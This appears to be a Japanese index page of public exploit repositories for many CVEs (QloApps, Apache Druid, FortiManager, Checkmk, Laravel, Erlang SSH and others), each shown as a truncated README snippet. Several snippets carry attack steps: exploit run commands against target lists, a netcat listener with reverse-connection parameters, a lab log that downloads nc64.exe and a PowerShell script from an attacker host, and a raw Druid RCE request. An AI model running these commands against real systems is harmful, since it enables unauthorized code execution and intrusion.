RCE-QloApps-CVE-2024-40318

RCE-QloApps-CVE-2024-40318 リモートコード実行（RCE）攻撃により、攻撃者はコンピュータ上でコードを実行できます。コードを実行できると、追加のマルウェアの展開や機密データの窃取、さらにはサーバーへの損害につながる可能性があります。 このリモートコード実行は Qloapps バージョン 1.6.0.0...

CVE-2024-10728

CVE-2024-10728 PostX var ultpoptionpanel =...

CVE-2021-25646

Apache Druid RCE title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

CVE-2025-55182_full_exploit

CVE-2025-55182fullexploit このリポジトリには、CVE-2025-55182 の完全なエクスプロイト（RCE 対応）が含まれています。 エクスプロイトを実行する手順 1. 依存関係のインストール pip install -r requirements.txt 2. エクスプロイトの実行 python3 exploit.py targetlist.txt "command"...

CVE-2019-18655

CVE-2019-18655 metasploitモジュール。File Sharing Wizardアプリv.1.5.0におけるSEHベースのバッファオーバーフロー。 CVEサマリ: File Sharing Wizardバージョン1.5.0は、構造化例外ハンドラ（SEH）ベースのバッファオーバーフローの脆弱性の影響を受けます。認証されていない攻撃者は、URLに悪意のあるペイロードを含むHTTP...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE この問題は、パッケージのインストール時にGolangがネイティブ拡張をビルドするという事実に起因します。これにより、コンパイラに追加フラグを渡してコード実行を行うことが可能になります。例えば、CFLAGSを使用できます。 以下のコマンドを使用してビルドできます： $ gcc -shared -o attack.so -fPIC attack.c 完全なペイロードをGithubにホストしたら、パッケージリンクを被害者に渡すことができます。...

Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager 認証なしのリモートコード実行（別名 FortiJump）CVE-2024-47575 技術的な詳細については、当社のブログ記事を参照してください まず、ncat セッションを確立します: nc -lvvnp 80 次に、検出アーティファクトジェネレーターを実行します: python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit 脆弱性のみを確認するには、以下のオプションを使用します...

CVE-2025-3248

CVE-2025-3248 脆弱性悪用ツール ドキュメント 概要 本ツールは CVE-2025-3248 脆弱性（Pythonベースのコードインジェクション脆弱性）を利用し、悪意のあるペイロードを構築してターゲットサーバーでリモートコマンド実行（RCE）を実現するものです。本脆弱性はあるWebアプリケーションのAPIエンドポイントに存在し、攻撃者は未検証のコード実行ポイントを通じて任意のPythonコードを注入できます。 重要なお知らせ：...

CVE-2025-32682

🐚 CVE-2025-32682 - MapSVG Lite --------------------...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 テスト環境 mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d 使用方法 git clone https://github.com/miko550/CVE-2021-3129.git cd CVE-2021-3129 p...

CVE-2024-3400-POC

CVE-2024-3400 RCE テストスクリプト 概要 このPythonスクリプトは、特定のPalo Alto Networks GlobalProtectポータルに影響を与えるリモートコード実行（RCE）脆弱性、具体的にはCVE-2024-3400をテストするために設計されています。この脆弱性により、Cookie操作を介して不正なコマンド実行が可能になります。 このスクリプトは、base64エンコードされたコマンド（echo test）を含むCookieペイロードを添えて、指定されたURLのリストに安全なHTTP...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQとOpenWireの概要 ActiveMQは、JMSをサポートするクライアントを含むブローカーであり、Javaだけでなく多様な言語を使用するシステム間の通信を可能にします。また、クラスタリング機能やDB、ファイルシステムを通じて各システム間の一貫性と永続性を維持するオープンソースのメッセージングおよび統合パターンサーバーです。 OpenWireは、Apache...

CVE-2019-15107

バージョン1.890以前のWebminアプリケーションは、認証不要のリモートコード実行に対して脆弱です。CVE-2019-15107。 参考：https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2024-11394

CVE-2024-11394 Hugging Face Transformers Trax モデルにおける信頼できないデータのデシリアライズによるリモートコード実行の脆弱性 脆弱性の概要と影響： 攻撃者は、悪意のある reformer trax チェックポイントファイルを、Hugging Face Transformers リポジトリ内の convertreformertraxcheckpointtopytorch.py スクリプトに提供することで、ホストマシン上で任意のコードを実行できます。 無防備なユーザーがサードパーティの reformer trax...

CVE-2024-41997

Warp Terminal RCE CVE-2024-41997 サニタイズされていない warp:// URIスキームハンドラを介したコマンドインジェクション。詳細な解説は 0day.gg にあります。 概要 プロパティ| 値 ---|--- CVE| CVE-2024-41997 脆弱性| コマンドインジェクション CWE-77 対象| Warp Terminal macOS 影響を受けるバージョン| v0.2024.07.16.08.02 影響| 任意のコマンド実行 認証要件| 不要 1クリック 攻撃ベクター| 悪意のある warp:// URL 脆弱性 Warp は Docker...

CVE-2024-11972-POC

説明 名称 : CVE-2024-11972 CVSSv3 スコア : 9.8 影響を受けるバージョン : Hunk Companion -p ソースコードレビュー 脆弱なエンドポイント /wp-json/hc/v1/themehunk-import は、Daniel Rodriguez 氏が進行中の調査の一環としてアクセスログを分析した際に最初に特定されました。この情報を基に、インポートエンドポイントのソースコードを確認できます。 /import/core/class-installation.php ファイル内で、次の行が見られます: 204 | $tempfile =...

CVE-2025-32433

Erlang/OTP SSH のリモートコード実行の脆弱性。問題の根源は、SSHプロトコルのメッセージ処理メカニズムに欠陥があり、攻撃者が認証完了前に接続プロトコルメッセージを送信できることにある。注目すべき点は、この脆弱性がSSHサーバーコンポーネントを実行するすべてのErlang/OTPバージョンに影響を与え、基盤となるシステムのバージョンとは無関係であることだ。 LINUXでのコンパイル：gcc CVE-2025-32433.c -o sshexp...

cve-2018-9951

Foxit Reader CPDFObject の Use-After-Free リモートコード実行の脆弱性 脆弱性 解放された後のメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者が Foxit Reader の脆弱なインストール環境で任意のコードを実行できる可能性があります。この脆弱性を悪用するには、ターゲットが悪意のあるページを訪問するか、悪意のあるファイルを開く必要があるため、ユーザー操作が必要です。 具体的な欠陥は、CPDFObject...

CVE-2020-27955-LFS-main

Git-lfs Remote Code Execution RCE エクスプロイト CVE-2020-27955 .bat / PowerShell 版 脆弱なソフトウェア: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows でテスト済み: git, GitHub CLI gh, GitHub Desktop,...